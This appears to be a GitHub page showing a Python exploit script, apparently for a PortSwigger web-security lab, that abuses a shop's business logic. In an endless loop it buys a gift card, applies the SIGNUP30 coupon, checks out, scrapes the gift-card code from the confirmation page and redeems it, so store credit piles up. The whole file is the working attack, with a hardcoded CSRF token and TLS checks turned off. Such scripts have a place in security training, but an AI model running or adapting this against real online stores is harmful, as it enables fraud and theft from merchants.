-
Notifications
You must be signed in to change notification settings - Fork 3
/
portswig.txt
55 lines (40 loc) · 1.54 KB
/
portswig.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
import warnings
from bs4 import BeautifulSoup
warnings.filterwarnings('ignore')
import threading
url = 'https://url port swig'
csrf1 = {'csrf':'pKXTOWetBVRLoD73JfRaiutm9sTxiViL'}
headers = {"Cookie": "session=", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0'}
proxies = {
'http': 'http://127.0.0.1:8082',
'https': 'http://127.0.0.1:8082',
}
cart_data = {'productId':'2','redir':'PRODUCT','quantity':'1'}
app_coupon = {'csrf':'pKXTOWetBVRLoD73JfRaiutm9sTxiViL','coupon':'SIGNUP30'}
def buygiftcard():
req = requests.post(url+'/cart', headers=headers, data=cart_data, verify=False)
print(req)
def coupon():
req = requests.post(url+'/cart/coupon', headers=headers, data=app_coupon,verify=False)
print(req)
def checkout():
req = requests.post(url+'/cart/checkout', headers=headers, data=csrf1, verify=False, allow_redirects=False)
print(req.text)
def redeemgiftcard():
req = requests.get(url+'/cart/order-confirmation?order-confirmed=true', headers=headers, verify=False, allow_redirects=False)
code = BeautifulSoup(req.text, 'html.parser')
allcode = code.find('table', class_='is-table-numbers')
deta = allcode.find('td')
print(deta.text)
gc = {'csrf':'pKXTOWetBVRLoD73JfRaiutm9sTxiViL','gift-card':deta.text}
req = requests.post(url+'/gift-card', headers=headers, data=gc, verify=False)
#print(req.text)
def main():
while True:
buygiftcard()
coupon()
checkout()
redeemgiftcard()
if __name__ =="__main__":
main()